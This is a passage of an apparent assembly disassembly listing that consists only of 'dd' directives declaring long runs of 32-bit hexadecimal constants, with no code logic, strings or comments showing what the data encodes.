0C4F4E58Ch dd 168A92B4h, 3E00D0F2h, 0CD6D9118h, 0E05834h, 47B21DC6h dd 0CE3C9CCBh, 17F6101Eh, 59B07C00h, 0FE9CD12h, 0F58AAE2Dh dd 2465BC80h, 0D30E7BA9h, 8F42614Fh, 0D0A5003Ah, 6DC91FAh dd 0C4AD0F01h, 0E9670819h, 0E5500421h, 0C0D4FA28h, 86894510h dd 0CA1F24E2h, 4FC7AA22h, 0C0811043h, 56F899CCh, 3181D8B9h dd 0CCE9B8D3h, 11C325EDh, 7828B1Ah, 0D7B9FDB8h, 2D08ECBFh dd 936021C0h, 25C882h, 0EBE45785h, 0E8837B44h, 0D24AF401h dd 0A613B5D3h, 0C454F30h, 4403B2E6h, 0CB9849B0h, 23386201h dd 1B202E39h, 75A3DBh, 0D2E23A58h, 0FBB0AD98h, 7DAF0400h dd 5A99486Dh, 5EDA28D8h, 73D20CA8h, 0BE606E38h, 0E864C450h dd 1D0ABF00h, 2A59CB3Fh, 0AE24065Bh, 38209B68h, 1BE43E00h dd 2672BD88h, 56A300C1h, 92D958A2h, 8A008016h, 0C735EC62h dd 0F8FD1DCh, 8163EB2Dh, 0C530280h, 1B77FD56h, 0A554D6F8h dd 0F242DA0Ch, 0A1BDA921h, 801D0851h, 1106F642h, 8B318261h dd 0E1A3E04h, 8CE859CFh, 2BEB1603h, 0B9A0000Ch, 0E63E08B7h dd 0B3039EAh, 77092091h, 48B50664h, 514ED61Bh, 0A8744FFCh dd 3F5D39CFh, 5ED5F203h, 1A3CC1E5h, 83E3C2E1h, 4470E60Fh dd 0EC7899F1h, 8FA8828h, 8B22ED78h, 0D0010FB2h, 8F014056h dd 0F94514C3h, 0E104F7CFh, 9EAD648Dh, 40516205h, 0E068E9ACh dd 260255D1h, 6508632h, 930EE3F1h, 89380483h, 0FF0820Ch dd 5A0C11D2h, 0B79B735h, 0CDC81018h, 3882F731h, 0CA80AF75h dd 0BB5119Ah, 8FE2028h, 0F8189300h, 4F2E9BA8h, 33140302h dd 8CF27036h, 76FEC688h, 0F72B8900h, 1215295Dh, 0ABB505EDh dd 38C4F18Dh, 0DB015014h, 0B3728F21h, 1A063Fh, 0BC1EDDC0h dd 473FA99h, 7AB30DCCh dd 71BB80BAh, 9300DCCDh, 8DC8BFFEh, 0A798D7F6h, 5F2E8C14h dd 0AF29D670h, 2BC07491h, 0E5062Fh, 4BE612E2h, 9DF0D1B2h dd 0F5D49926h, 0F7753F01h, 96DAE2AAh, 0A7F60134h, 0F73A05D2h dd 2070A34Ah, 0CC08BF00h, 52129FFEh, 8BC444A0h, 0D90880E9h dd 449067D0h, 47A430F9h, 0E4826092h, 0EBF8043Fh, 105960DDh dd 0F95DAE52h, 48CF2400h, 0DFE9A796h, 42A0E57h, 0B5E1EB0Ch dd 71584270h, 0FB29BEB3h, 88310B88h, 0F488B605h, 8108971h dd 2150844Fh, 95453628h, 53E810F2h, 89B09D88h, 7822F2BDh dd 940D0397h, 3B3AC3B8h, 79357500h, 29C0F86Eh, 3149033Fh dd 0DBF7BD7Dh, 0E0F5DCD8h, 65842A00h, 0C60F139Ch, 0BC2200E4h dd 1E8946Bh, 0A8008A3Bh, 51D3951Bh, 23B20Bh, 0D578E0EFh dd 0E6DAA470h, 0C4CED00Eh, 0D4C08058h, 18454A7h, 0F525CC39h dd 0D03D7B10h, 0DB00078Dh, 0A48E0C4Eh, 301137Ah, 9F6A087Eh dd 0FAC8F7CAh, 0D4008F25h, 0F88BEF8Ch, 0A8C333AAh, 0EA0529C8h dd 22B700A5h, 41090BA9h, 0CD03FC3Bh, 46717BA4h, 3C11A39Fh dd 479D6BF8h, 18A6CF30h, 83B1A300h, 90006E4Ah, 0B2802CC3h dd 35267D9h, 0F2995606h, 5828872Dh, 5F1DCD3Eh, 0AA03AF20h dd 3F9048C6h, 40CC2F80h, 6AD8DD03h, 9CF84599h, 82003858h dd 0AE773697h, 90D917h, 0C141F4E1h, 4C75A05Eh, 9A925F00h dd 14E213CDh, 9906300Dh, 0D7BFD910h, 0FDF58D00h, 0E91AECEAh dd 70110F49h, 0BAC0CF1Ch, 0B47BD164h, 103FAB01h, 47F3EAA6h dd 80FE96E5h, 404463E5h, 0E3D30693h, 0E8AC2145h, 60DB2500h dd 43E778BFh, 2AF61C3Dh, 1E77001Dh, 939C3EBDh, 935ECFFh dd 123F973Eh, 0BA806753h, 58A85BEh, 2EECA457h, 3B189055h dd 0D801B9C5h, 3EF3716Eh, 0AAF4620Ch, 3F5D0097h, 41DD503Ah dd 0FD00D2B0h, 0BCFEBFA3h, 0D93F3h, 87035DB6h, 5470CA04h dd 0CBCC8F00h, 0AD1C7414h, 1FC1E44Dh, 50611Fh, 0B921F749h dd 0D8007A2Ah, 4A86D2EDh, 0C1E3Bh, 56AF1592h, 0D59B691Fh dd 0C9E04060h, 4F24FEh, 0E9331E63h, 99606F6Dh, 207A9D00h dd 2CA477DCh, 0D61A0081h, 0EBC71294h, 0E100406Dh, 67904FEh dd 6021080Ah, 0F33610FBh, 0E021DAAh, 73CBC0BCh, 0E0086871h dd 77891FCh, 0C16AF9BBh, 0C0623060h, 8D0139C3h, 0B552FCE5h dd 0D2F0CD9Bh, 0A5711F33h, 0AE40C058h, 0AB3C5C98h, 28E65701h dd 0BF2093C0h, 75709CFCh, 0A82E2E61h, 9A003B34h, 88296BD7h dd 0D90030C1h, 0EEC73F78h, 12AE546h, 6FAC1BC6h, 0E4F4EC5Fh dd 0B101AEA2h, 0A8A953C7h, 3F204778h, 5CA40EC8h, 1520D456h dd 8EF68459h, 529D2E01h, 3A3713Dh, 279874h, 0EA9C6DC9h dd 87287FAh, 0D3D594A0h, 2E834600h, 0D475211Ch, 0FBB8A0AEh dd 0EE180053h, 4B32F18Fh, 26E07BFFh, 5B791C00h, 88E09FD8h dd 0F9ECA01Bh, 674A2335h, 0A3A3D809h, 0C0851E1Ch, 564E4C8h dd 3C06FDA4h, 7B60275h, 5861C75Dh, 37F66019h, 6DB83200h dd 0B3D3F2DEh, 120F01EAh, 7119935Ah, 0A02920ACh, 0C4BC6000h dd 0B88EFAB9h, 0E7A91E29h, 5033B84h, 0BC75EAB1h, 0B6BB1901h dd 405419DCh, 4DEBB660h, 9005308Ah, 0CC556h, 0CBD8ABF8h dd 21137FC7h, 6807D55Dh, 29F7C2D9h, 1697C000h, 0DF47Ch dd 80384F6Dh, 7B87B360h, 0FB056A1Dh, 80349B89h, 47C70D7Eh dd 2F32002Dh, 75B25FE6h, 0BBE87F48h, 0AAAC8E1h, 0B05C7700h dd 7120DC21h, 309B07C0h, 1F080733h, 6C2E0EC0h, 0A300E441h dd 8ECDD3CEh, 0FA6729Bh, 57DE90E0h, 71F984F8h, 0BB531100h dd 18F4B396h, 4EE23Ah, 0D13F66E5h, 44AE7349h, 884FDA00h dd 0C276720Bh, 0DC4B0045h, 0C06D55C1h, 0EF00F70Eh, 0A538AF3Dh dd 3BF5FA3Ah, 0FCF487h, 64C82827h, 7E77EA1Ah, 36A69507h dd 9A304181h, 4863B562h, 0BE3F64A1h, 0E183C000h, 26AFCDABh dd 5BE64900h, 0C1A3A5E7h, 22540082h, 7AD4BE9Dh, 5203EB8Bh dd 1086D5A2h, 4280E091h, 0CD670011h, 0BADD736h, 0C14C381Ah dd 33CE0028h, 0B1E5F962h, 0A95A0082h, 8F3E3E9h, 497754FAh dd 2A7C4001h, 0E0140DE8h, 0A7A4ECh, 14D0B92h, 6AB66D34h dd 3500DCECh, 2B4F1F9Ch, 0A8A448h, 824A025Fh, 9E8C0E2h dd 0AD452300h, 53EBD8AEh, 12BDFC19h, 0E88E7CEh, 0A1A0D418h dd 33A97578h, 0FE699F00h, 2DB0F582h, 6D9B0039h, 0F9F0898Dh dd 3AF6340Ch, 47837400h, 0B437DC43h, 7B6C0232h, 3CD15844h dd 0B25B05D7h, 89B2B087h, 204D2033h, 6C0212D6h, 4C8D756Fh dd 0E3504009h, 0C0B13FD2h, 46CBEE00h, 0D948DAF4h, 0F7957F02h dd 40F57842h, 4CBAB8h, 1DD7074Bh, 2E059BDAh, 0DF75ECEEh dd 2CB89200h, 0ED585227h, 0DC0948FCh, 0A7C97500h, 0B3F77161h dd 76C5FA00h, 6BA1A0C3h, 0EABD003Ch, 0B6E56A6Ch, 3A075683h dd 0C931FB4Ch, 0C56444F3h, 0E01D6880h, 983371EAh, 0E63B0F28h dd 0B8E04F13h, 0CC120661h, 53AFB101h, 23FBFE0Eh, 283C4h dd 0C636C448h, 0DE4F9BF3h, 9924601h, 80E8E362h, 9368FCh dd 0D0B3CE3Dh, 29670B8Fh, 343CF500h, 14B9EFD3h, 9A8600A0h dd 0AAEDCFBCh, 35001DFEh, 198EC848h, 9A9A8A2h, 38703014h dd 7765F803h, 0D5FB94B8h, 79C0BA00h, 0B6EF354Eh, 0CCAE00C1h dd 0FCBFFF65h, 3A03DEF7h, 0CF868B99h, 2512E064h, 7EB3009Dh dd 60E9FC7h, 9003CC1Ah, 0CFE3EFDFh, 0DA478871h, 89AA072Bh dd 7115B046h, 60B4612Ah, 0C001E710h, 0BC644DBEh, 74D07D5Fh dd 1D9D00FCh, 92432DABh, 467580EAh, 85002078h, 6C955D2Fh dd 5FB983Fh, 9B077204h, 3DDC80A0h, 97E6AF88h, 0A16C0A00h dd 0FEF21B9h, 0FC75D7h, 4E0E6D1Dh, 0BD469B83h, 17B1401h dd 37E44359h, 0F839D7C4h, 0F32100D1h, 524F995Dh, 8A1616C2h dd 4800227Eh, 5165CFEDh, 303C900Eh, 0A2F9B13Fh, 6700F10Fh dd 1097FE9Eh, 0EFD0BAEh, 96FB894Bh, 54361140h, 0E7004024h dd 619B3E67h, 48A237h, 80E0943Fh, 0A3A97790h, 1D3C0848h dd 0E580CD51h, 0CFC60A68h, 0D5E20Dh, 2BC92DECh, 0D34DAA9Ch dd 5E9BF000h, 0C0E9D4D2h, 0FA7143Dh, 5A00964Fh, 0FA895762h dd 0FF00A47Bh, 900569CEh, 0A024128Dh, 0A9CAF8h, 0B9FF97Dh dd 85039796h, 882D400h, 0E8D33932h, 2674B8CFh, 0CEE1502h dd 51442956h, 0A0685Ch, 4DF1A086h, 5C0667DEh, 0F007E8DAh dd 1098D764h, 5123A574h, 0BD0F26FEh, 0C7FE53F8h, 3D70ACC6h dd 0B29F431Dh, 2E0FC34h, 0E1DE6B4Ch, 406E67h, 953E5547h dd 7E028F3Ch, 8926E0B8h, 375F70Ch, 5DBEBC6Ch, 11A25CD0h dd 0FF00F072h, 2EA65B27h, 1691BD45h, 0B0D5D15h, 33004FA2h dd 7185FA6Eh, 3500E8FEh, 4189F15Fh, 0FCCC2778h, 924E48FFh dd 7048AE00h, 58A84793h, 0FAF46800h, 0E9DFDEC1h, 91810034h dd 57841AA6h, 26187FEDh, 60819EBBh, 53C8C0DEh, 9972617Dh dd 0F1565900h, 11153949h, 7F2A285Bh, 935F00B1h, 463067Eh dd 0ED00DAA3h, 0D08A9A4Bh, 0BA613Dh, 88F948D8h, 282572A8h dd 0BC4F6A2Eh, 0CD807B9Fh, 0E81798FBh, 1DAB00B4h, 0E138FDE9h dd 861DD3AAh, 6D80FC4Ah, 607CB7C3h, 0AD0E0085h, 3937175Bh dd 0F83B89B8h, 10AC06D8h, 0E3592380h, 0EBAFF981h, 8247A12Ch dd 0DB5DB168h, 3C50ECh, 1835213Ch, 4201736Dh, 3F0DA501h dd 4411055h, 0E2284982h, 88808B8Eh, 0AD5F4908h, 97059AFAh dd 8325C2EFh, 4B648F00h, 279462B9h, 8C802233h, 0E372BF75h dd 0CD7AD03h, 13E9A085h dd 61A8E0h, 2F29317Dh, 220113DFh, 309CF09Fh, 56211AB3h dd 927FB439h, 0EEC90724h, 56572884h, 715849E0h, 51007164h dd 47F05504h, 388BE42h, 34A8AEFBh, 4907900Fh, 0F8EDA794h dd 0BBB5A693h, 763C0082h, 0C715D8B4h, 6B1E1F39h, 2D4C9BA8h dd 3C1AD04Ah, 6A81D66Eh, 675DD61h, 5869E0BEh, 0C7984BF4h dd 0A401FF4Eh, 0C41140Bh, 64674F01h, 0E36FD22Ch, 0C3DF6EA9h dd 0F950027Ah, 0DDFCCBE6h, 9F51035Dh, 0D5FD8E96h, 0C0450880h dd 9849F324h, 0A7137980h, 75E3295h, 18894061h, 430A1588h dd 0DFE8A5E4h, 0B8B902F0h, 0BCCC1526h, 0EA395300h, 13FEE0Bh dd 1B289573h, 30610643h, 5C74852Ah, 5ABB0700h, 8B42AD32h dd 14081CE9h, 0B2C0F0EDh, 1B1F696Fh, 9C42D1A6h, 0E0259F41h dd 904DF04h, 0FCE53CA2h, 0EC018CC7h, 90A21B13h, 0B0E18720h dd 0F3EAA0h, 0D2215F4h, 2B4004FEh, 0C337D00h, 0F1CBC052h dd 13349241h, 11FA70D2h, 7D508093h, 286501AAh, 7F1B8FC1h dd 0F0A85777h, 0E5134C7Ch, 0F281EE01h, 296A04A2h, 9DE4E121h dd 67D90453h, 8099EF86h, 0D5804B31h, 901F8E2h, 5F3DEB13h dd 0D3C02B0Eh, 98026339h, 19903B03h, 60801A2Dh, 31CB4B4h dd 0EDA0244Ch, 0CCC0C99Fh, 770503C8h, 3068D59Ch, 2FC28090h dd 0C475FFh, 12A8D405h, 0E2DF3FE8h, 3E515800h, 919CF77Fh dd 0E91507FEh, 85823057h, 0AA588043h, 1A02DD6Ch, 0B079AB36h dd 12F460BEh, 647C381Dh, 0F2147A3Fh, 5527D5E6h, 0C2000889h dd 0AB9EE4D6h, 650D3E07h, 119BBC0h, 40EB5475h, 0F2D4230h dd 7144A91Dh, 0BA61AE2Eh, 0C872F817h, 1030D3A7h, 49A1202Ch dd 0FAD600CDh, 0DD0E7121h, 5009524h, 0B76170B5h, 0EADCEC6Fh dd 8446016Ch, 0F9F4B3BEh, 0C76A605Bh, 8010143Eh, 0D02E611Fh dd 0A00A6738h, 0F672C3E8h, 497606E1h, 0C95426EBh, 17759F00h dd 6155823h, 95DA00F9h, 5476A76Bh, 0E5097B3Bh, 0C08BA57Fh dd 30C98B0h, 0CD73F487h, 7409345Ch, 0C8C72955h, 0B0AB8BA8h dd 0D137009Ch, 70098FB8h, 911D0B27h, 6500DD01h, 0A3606783h dd 8EB001DFh, 0C0797166h, 0F44C75D6h, 0E903D9B8h, 0E2A4A13h dd 1621891Ah, 0C8F860h, 0E7F08C78h, 8798395Ch, 0BD03EA7Fh dd 0A7D5CAD0h, 0D270E0B9h, 1F3412E7h, 0C6388023h, 2600DAE6h dd 1214D152h, 1CF01CA8h, 808B6BB2h, 2F73D829h, 5A0FF6E1h dd 20B8E375h, 0AC2CC567h, 0F9120080h, 43478404h, 3C035E2Bh dd 1B0AB564h, 3F283FBBh, 0AA6DAE80h, 78013DC8h, 0AF03ADE6h dd 43455B42h, 0EE1EE88Bh, 4540EABh, 2C40D5EAh, 0D958D331h dd 0BF9EF800h, 7A7F1625h, 4BF600D4h, 8F0C5BF2h, 6C0FB5AEh dd 0A236A7h, 0EB869A55h, 0C618000Dh, 74FCB2DAh, 0A0005E60h dd 0B3447357h, 17A3C322h, 0ED51A45h, 83AB9758h, 206F50A0h dd 750174E3h, 0FF027CFCh, 0C8343C2Dh, 9255EA0Ch, 0D06200F4h dd 0C30D3BC0h, 0C12C31A6h, 0EB059112h, 0D9C1B8B2h, 742030F3h dd 53920081h, 2B615A34h, 0D1E24A80h, 5C32370Fh, 0FFE041C5h dd 0B8E497A8h, 59410092h, 0F41F0C79h, 7800C291h, 563C340Eh dd 0FF74A6Eh, 0A453F21Dh, 6022E606h, 1BA58800h, 20AAAA1h dd 0EDEF3C71h, 5D3BE10Eh, 0DABB1720h, 670C5F1Dh, 1E42C177h dd 9C4600C2h, 502E5C0Dh, 0D5070607h, 9739BFE3h, 0C04D3082h dd 0B8335A7Eh, 9F6805B4h, 0C0206BABh, 27BABE68h, 39B6C8C0h dd 0ECD438Dh, 249D3AADh, 0E8018CEBh, 306731C1h, 48B6A8D4h dd 5D87FE58h, 1E011C36h, 6227046Ah, 7BAFF4B8h, 156D9E01h dd 0C6D882C2h, 96AC830h, 192C2549h, 0B0FB2280h, 0F70B3A5Ah dd 803D7FAEh, 0C8EFCA7Eh, 3F1504AAh, 0C103F1B4h, 0E038E4D0h dd 453A742Ah, 3BFD00F7h, 51DC2E3Dh, 278013CAh, 22BC4057h dd 1C4A52B2h, 7877AB05h, 8D03C46h, 0AF5917h, 2207319Dh dd 84C3015Ah, 5FC2502Ch, 26A68A00h, 0CB79B4h, 0A37C03A7h dd 0BF2C81E1h, 0C8546F00h, 80525667h, 2AE5008Ch, 647FF32Fh dd 476D755h, 0CCB08424h, 2DAFDF03h, 0EE13D825h, 779900E5h dd 0AE88B9D6h, 3A01D09Bh, 0F86DE976h, 2DD483B1h, 2BBD0FE1h dd 0B6005CFCh, 5410C901h, 1263D01Eh, 9AC8E780h, 1B4B52Bh dd 0E2176D55h, 9D336986h, 7DC09BBCh, 44961220h, 0E43B0281h dd 7AB1924h, 0EA2A9C80h, 0F40006AAh, 498AF91Ch, 19A08Dh dd 0AEFD18EDh, 110D723Ah, 0E155A80Eh, 3130C0D1h, 1FE5C54Ah dd 4015DD8Ch, 0DCCD0519h, 9300A15Fh, 4F35F723h, 0EF5A0758h dd 2262230h, 0F62BB005h, 0B5607044h, 0DD1FAADEh, 3214DBC6h dd 0D5DF02D4h, 20B56D92h, 8E8D77E0h, 1400F75Eh, 69AF25B4h dd 1F51019Dh, 0B93F1105h, 0C187CCEh, 9098FA97h, 7A4100A0h dd 28FEC934h, 90E41A4Fh, 85F3C700h, 9E1E0320h, 4EAA0012h dd 98A4E63Eh, 8C003CD3h, 8A22BF2Eh, 0D64A86h, 60A9F9A3h dd 0CD9A595Ch, 0BDB9B800h, 21D80DEEh, 662D03AEh, 30F78239h dd 27DC20E0h, 0D98FF40Eh, 0C0E1C037h, 249C1Bh, 0B6939A87h dd 4A42E702h, 806D8E3Bh, 2BD4EC2Dh, 722FDD05h, 21AE085h dd 0C8576B37h, 746048DFh, 8A389976h, 21168739h, 1440ED25h dd 3F442A9Ch, 0E8D0773Ah, 54FB7348h, 7284D4h, 0CD2E7D92h dd 4E52E104h, 2008750Eh, 0D68500BEh, 0E358115h, 991EEF79h dd 9654520h, 0E30E5D12h, 0AE6D2584h, 0C4E46011h, 280A8977h dd 11E89601h, 80636CB0h, 1D425D9h, 0F10F179Eh, 948CFA4h dd 0C03E6BECh, 0B40478BCh, 0BA740014h, 6437DCD4h, 1FBB6C0Eh dd 5EFB0F52h, 507A4400h, 0B0CF8CF5h, 483E003Ch, 379E5CEh dd 0F00769C1h, 36C03788h, 9B920A27h, 4F61E01Ch, 12DE3C56h dd 537C0700h, 2ADF898Ah, 9C7EAA3Eh, 4640B9B3h, 7BBDEAA3h dd 0C8790EFFh, 140114Dh, 64EC883Ah, 6251B200h, 94DEE090h dd 4F8E1E1Fh, 15A400F5h, 78C3153h, 51E9A918h, 811B50h dd 3798EA4Ah, 0E6350190h, 0A0763C25h, 0DE853290h, 0BC4B4FAh dd 0D486ECD4h, 21009898h, 81E03BA0h, 0C996759h, 57434049h dd 0EE480558h, 275D00F2h, 837CDA16h, 508E596Dh, 44824C3Eh dd 0D776EEEFh, 2D0044D8h, 0AC5B2781h, 1C8BEBAh, 75CB2905h dd 804AA09Ah, 85483A11h, 0FC6B303h, 473F831Fh, 856958E5h dd 4F201F96h, 49EAAF3h, 0E14F96EDh, 0B591F0DCh, 350D0B00h dd 0FD0852F6h, 0C5B74F7h, 8FCB87B0h, 0D8050199h, 0EEE57F56h dd 341DBBh, 768F64A6h, 96009197h, 0DCA11D5Ah, 1F6F3379h dd 0F46EEFDh, 1B20434Eh, 53EB74B8h, 1110AD09h, 5860600Bh dd 0EFC70A08h, 1CB9895Ch, 56E50CAAh, 0D5678A98h, 6C474230h dd 0C05F405h, 4C0BBF87h, 52B5800Dh, 52F71442h, 0CF0E2073h dd 0E920A710h, 7C39F99Dh, 645F5900h, 63134B96h, 686200A4h dd 4F0B0D03h, 0B800E28Bh, 4702DD21h, 64C6D4h, 0D6F52F3h dd 3C22CB7h, 0CB006978h, 6A1AF166h, 0CFDAE62h, 886E1FA8h dd 7E031C91h, 80A609EBh, 5214E1F7h, 2526E0h, 7749D30Bh dd 4B910CD0h, 0A8C043EEh, 39C0EA61h, 0FAA3052h, 649FD8E1h dd 22754500h, 4B70B30Bh, 676A05CAh, 20822D9Bh, 2F4996A0h dd 0FE695B19h, 98F49081h, 30200040h, 0A71EF2B3h, 9A00099Dh dd 5E65FAAEh, 0E891706Eh, 0E9520085h, 2FCB0BDAh, 5950A549h dd 7A1F13D8h, 0CD0EAA28h, 2D00053h, 3075C1A4h, 507918B5h dd 570030F4h, 0A358AEF8h, 3EBF9952h, 6800A86Ah, 0EE11DE21h dd 1B001DE8h, 3FDA664Eh dd 0F4083991h, 3C9233h, 0AF71E643h, 0B28F9B3Ah, 0DCA4B970h dd 0E0C3774Bh, 0D8CCE8DBh, 6AA902F8h, 0B70E60B8h, 0E5C87740h dd 0F359B61Eh, 0B2A4D2C3h, 58D0AD8Fh, 60ECFAh, 6293E023h dd 5CEAF954h, 0B01080E9h, 0C29D1735h, 0EFB20CC1h, 120839D1h dd 0A40F21D6h, 0C9A78010h, 1B15265h, 0B20331CEh, 91F93EAAh dd 1E80FE50h, 0A9C29817h, 6E9448Ch, 72100700h, 4F33DC2Dh dd 361C00B3h, 0B439DF13h, 94B06FF9h, 54509303h, 7D6D7DB1h dd 84E6F39h, 3CC1CA81h, 903DD079h, 63407E00h, 68093E25h dd 3F89757Dh, 3BF9223h, 4C71B906h, 0EB0051E9h, 58C7D3BBh dd 60F960ABh, 0D18B19E6h, 840235B8h, 6F4FA0D6h, 0B3E0004Ah dd 14A1CF60h, 799AE473h, 726FB118h, 4A8D99h, 0E382D155h dd 4036A826h, 8B02C40Eh, 0C0FC8E7Ch, 0A0D1BA86h, 23D34C2Bh dd 51503960h, 0E9006E20h, 0C3A7D6CFh, 0C011643Bh, 368CE044h dd 0E760940Bh, 0D1427689h, 6FB798E6h, 0F183415Dh, 0FC9516Ch dd 732980F9h, 0BF80B97Fh, 0D3190C37h, 3F081C14h, 0A88A21C0h dd 29FA89B9h, 8CA360h, 86F74D80h, 0D9023572h, 465A9BF0h dd 500BC015h, 29B16F4Ch, 10801F89h, 6DDB3DAh, 23EBBC1Ch dd 6A0053D2h, 1E91F3A3h, 0BAB403ECh, 0A21DD428h, 420178E6h dd 0E9C4B3F7h, 0C1804FF9h, 5122BA72h, 0A00CA1Bh, 43C15A6Fh dd 574F77h, 0B45DA90h, 0CAD17FF2h, 0E28424h, 0C4830940h dd 0AF32C03Ah, 0D2E3A889h, 67DBBF00h, 872ADD1Ch, 3824F261h dd 0A3801266h, 7E45A717h, 9F244DA1h, 4100F41Dh, 663F4830h dd 89270FD1h, 0FE2FB6C4h, 0F27A6582h, 0B2D698A0h, 0A7000CD4h dd 99DFEFA1h, 5294C4h, 10A59EB0h, 0F3D1677Bh, 3B005FE6h dd 6450FD35h, 0C05EF46Fh, 7FA01340h, 1C0AE6D9h, 4BC2560h dd 0C8E3C17Dh, 291083F4h, 0E01F0305h, 1C50Dh, 0B4092E18h dd 623485F0h, 54F27100h, 11C8291Eh, 0D6C0688h, 28176401h dd 79C044h, 3F5F340h, 7EC3593Fh, 0BF00FDFEh, 0CC6A3E0Dh dd 1D0F5670h, 0C0B46279h, 0DB9649AFh, 0C607BBC5h, 97410816h dd 0BCA7BD50h, 7030004Bh, 2C2A444Fh, 120004B2h, 0E58C9CC9h dd 81086Dh, 0E294BDF7h, 18B94CDAh, 484A041Eh, 35F8A80h dd 1757E0Ch, 364B9B34h, 30140E87h, 4C00857Ch, 0B5B27499h dd 4E025Eh, 2AB940FFh, 90DDCB3Dh, 7A4A3500h, 33F23019h dd 0A9FC47h, 5E186459h, 29D55B70h, 0D486F100h, 0BB4248E1h dd 0B09676CFh, 0A357002Dh, 4D0378FFh, 880EE9D2h, 201AD60Ah dd 13C34590h, 0F59D005Eh, 5C6579DEh, 0DC00F680h, 0D701B4AAh dd 9C06B6h, 0B1702440h, 5B9338A9h, 81A47D00h, 0F2103AA2h dd 0EC5F0F1Dh, 53007862h, 84E50A4Fh, 0AED770E3h, 0C12FB300h dd 56E2B51Ch, 79F4017Bh, 122D1891h, 4984EC44h, 479FE10Eh dd 66958059h, 50F22643h, 26389A68h, 0F111EC7h, 1400703Ah dd 0F7BAE5F8h, 6F9F9D00h, 1DB0CFECh, 64F500DFh, 59B4F658h dd 3401D441h, 0B2DAE792h, 2420C3FFh, 30350025h, 0CF096DB6h dd 5500C03Eh, 2B4391AFh, 50A1B5A5h, 949CACh, 89D1356Ch dd 703CDE08h, 9AAA2607h, 42608213h, 738A6Dh, 0D11A849h dd 0D6EAA25Fh, 0ED68F11Eh, 106FB0Eh, 0E3CEA750h, 90E1EDCh dd 38FF5E1Bh, 41236C06h, 11A3A418h, 602732BAh, 5A809833h dd 0E8A83D6Eh, 2B001F4Eh, 665D0C9Fh, 0F6B3E340h, 0EEDA0180h dd 0A620F7F8h, 9487EC9Dh, 89A97501h, 0C474C3Fh, 0E222E0h dd 0E00283ADh, 0F51B99DCh, 1A107663h, 4F688030h, 0A0260056h dd 0F1B664CEh, 700C1E37h, 0A83F90D9h, 5D12030Bh, 2AA45618h dd 17E39000h, 0F62F81C3h, 0DCD1002Dh, 6B8BE8E4h, 94001E5Fh dd 62AD3C0h, 0A929E60h, 0C32227EDh, 4CBF00A8h, 41AF1881h dd 5BC66E2Ch, 3030791Dh, 9A6B5Ch, 1C58B688h, 34CA3A53h dd 6F9DE40Ah, 8080D8EAh, 6131A25Bh, 559EED8h, 5E3833CDh dd 7BF002F2h, 89021ADEh, 76A49631h, 6FB20008h, 0DCA0511Bh dd 46024847h, 54B2EDBh, 63A78073h, 0E6153ACh, 0FB8CEDDEh dd 362CAA20h, 267412Eh, 9F549149h, 0D939C3h, 3F517471h dd 0DC663339h, 0EBB51100h, 6828A40Fh, 6D88A889h, 0EE1B3F0Ch dd 23F4FF80h, 0EF1E6C1Fh, 83389E49h, 34EADDh, 5CA9FF69h dd 5AF76008h, 33812493h, 436367ACh, 2069F8h, 2BBBB510h dd 0FB7E39AAh, 7922DF30h, 3C9F2DF4h, 0AE82DCD4h, 58FD2F1Ah dd 93F85440h, 833E500h, 9C39A22Ch, 24A90B5Eh, 0F20067A0h dd 5ADC88E0h, 65856A00h, 0C7613658h, 0C25506CAh, 0C65FA53Ch dd 0B87DB024h, 6B0BFF60h, 0E0EB0005h, 20942FE8h, 0D14DD7CDh dd 9F3C79ECh, 0B81F0784h, 19908008h, 490A1A32h, 4C0704E2h dd 0C0A3ACDAh, 267ABD5Bh, 13A12200h, 6F095649h, 0F1421C7Fh dd 0A4D180D4h, 460CB4AFh, 1D54FE77h, 4701619Ch, 5DA1E3A5h dd 0CC30F631h, 0D581C3D0h, 588F2A0h, 7300CDECh, 6B3629B4h dd 264FAAFCh, 5000BDA4h, 0A000DD4Ah, 329EDAE9h, 37092Ah dd 7B0A1EE7h, 905BABECh, 3C964600h, 0A05AEB13h, 0F27F2C5Fh dd 0A2DA0020h, 55717018h, 0E50E2C93h, 6290D8CFh, 0DFC5007Eh dd 750189F9h, 0CE055E9Fh, 0C1767FD4h, 0C0A5880Fh, 3ABB41B1h dd 8F6A1F43h, 0F60607DFh, 0C13EF0F7h, 2D00B4BDh, 675D5FACh dd 0D6E23Fh, 0E5C3808Ch, 6F0DA078h, 0B7305302h, 69FCDA5Ch dd 80400540h, 9C4B1Fh, 7C6390E9h, 0E202AC6Bh, 12E470B7h dd 6A887Eh, 0FA7D7366h, 3005FBA2h, 0C1F6DA12h, 6ED99000h dd 8931EDh, 0E624A6F7h, 0C178173h, 0E45CE01h, 5AB5F19Dh dd 1582EC64h, 0F433AEE9h, 0C5765F07h, 0EB119CCDh, 78EA810Dh dd 0C418B97Eh, 192702DAh, 0A5C7FAB9h, 0DC9F9860h, 8A0C5F13h dd 4F392A05h, 0A8D12180h, 362090Eh, 98309C46h, 29099DC9h dd 80DD18E7h, 27D87470h, 530A07FAh, 309B567Dh, 38ACA803h dd 6111A500h, 0FA6B257Bh, 9CB33CA7h, 1B87F801h, 803EA4D9h dd 0F4A8900Ah, 18307DABh, 38E24F96h, 9A008C89h, 0BCB9A6E4h dd 50B9Eh, 0FACD2FBEh, 50B7B89Fh, 2EDEA11Fh, 90061DC0h dd 0A38615h, 0D963193Bh, 375F060h, 50444A02h, 40B332F4h dd 9AE9FC21h, 0CEC21EC8h, 65A00682h, 1155062h, 18C83A5h dd 3D674158h, 1081B268h, 0D8388418h, 3ED89E5Eh, 0DA9351C0h dd 78F43B79h, 0B89AD6h, 1D6FCEEDh, 110E5085h, 973EB58h dd 80F45A88h, 946A1BC0h, 8BED0047h, 397A1FC6h, 0C00F5A2h dd 34FFAE15h, 0CBFCDF52h, 8809C6Eh, 0F1E3DB43h, 0D63CAF00h dd 6F55FD90h, 0F6C50080h, 8C5F7620h, 18007432h, 63B1DFD2h dd 0D4DAF3h, 48A7389Ah, 0BFAEAFC9h, 14712324h, 1068FA80h dd 0F981F1h, 27F674E8h, 0CFBE0A04h, 180A97E8h, 0CDFA68C7h dd 876EBD01h, 0EC20F422h, 0E56A0021h, 88106BACh, 2E0049FEh dd 0E90F4D24h, 3EA128Eh, 0D1A6E395h, 0EDE684h, 5D11B4B4h dd 0F9901D42h, 808C78ABh, 0FF5C5B2Ah, 7DAE9500h, 0D2703490h dd 6E1C0119h, 0D76C965Dh, 1D0C64CDh, 0AA66E809h, 70B88092h dd 0A971D98Ah, 0F810232Ch, 300F17F2h, 81973849h, 0DA117EF1h dd 7841E4h, 